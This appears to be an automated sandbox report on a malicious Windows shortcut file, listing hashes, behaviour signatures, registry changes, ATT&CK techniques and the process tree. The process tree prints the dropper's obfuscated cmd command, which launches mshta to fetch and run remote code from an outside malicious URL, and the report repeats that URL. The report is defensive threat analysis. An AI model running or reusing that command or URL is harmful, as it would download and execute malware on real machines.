785825dfe3a98c0eaffc4305448cfee67f80cde36228e576f2e54505d2c2c674

General

Target
DOC-NKH7TA.lnk
Size 1KB
Sample260629-l151escv3q
SHA256 785825dfe3a98c0eaffc4305448cfee67f80cde36228e576f2e54505d2c2c674
MD5 b27d59e05048e7293949d65ee8028396
SHA1 84031e3110d2190fbfcb2058f513a083b3a6afe8
SHA512 e12c98ad877e9362f5608865303e447f78d0477c75d0e0b773706bd208035e36e5078b77853142da2444069dc84d6ec965f32c1bf05fe3d73b063a45d4d1996f
TLSH
T1D6317B503FF90A14F3F78F7394BB6B2085BBB99AAE21C61D01514A4C5432A14E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4880	mshta.exe
8	4880	mshta.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
384	rundll32.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4728 wrote to memory of 1952	4728	cmd.exe	85
PID 1952 wrote to memory of 4880	1952	cmd.exe	86
PID 4880 wrote to memory of 384	4880	mshta.exe	88
PID 384 wrote to memory of 4936	384	rundll32.exe	89

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NKH7TA.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4728
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set Pnqbs=msh&&set gb=ta&&start "" !Pnqbs!!gb! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1952
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    - Badlisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4880
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:384
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:4936

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads